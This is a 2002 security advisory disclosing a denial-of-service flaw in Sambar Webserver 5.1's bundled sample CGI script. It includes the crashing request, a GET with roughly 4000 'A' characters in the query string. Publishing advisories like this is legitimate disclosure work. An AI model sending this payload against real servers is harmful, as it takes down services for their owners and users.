Sambar Webserver v5.1 DoS Vulnerability

["Tamer Sahin" <ts () securityoffice net>]

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Sambar Webserver v5.1 DoS Vulnerability

Type:
DoS, crashes Daemon

Release Date:
December 16, 2002

Product / Vendor:
Sambar Server is a multi-threaded HTTP server for Microsoft Windows
and Unix systems. 

http://www.sambar.com

Summary:
Sambar Webserver is bundled with a sample cgi script (testcgi.exe)
which create security flaw. Server crashes after sending very long
request a few times.

GET /cgi-win/cgitest.exe?AAAAA...(Ax4000)...AAAAA HTTP/1.1

Tested:
Windows 2000 / Sambar Webserver 5.1

Vulnerable:
Sambar Webserver 5.1 (And may be other)

Disclaimer:
http://www.securityoffice.net is not responsible for the misuse or
illegal use of any of the information and/or the software listed on
this security advisory.

Author:
Tamer Sahin
ts () securityoffice net
http://www.securityoffice.net

Tamer Sahin
http://www.securityoffice.net
PGP Key ID: 0x2B5EDCB0 Fingerprint:
B96A 5DFC E0D9 D615 8D28 7A1B BB8B A453 2B5E DCB0

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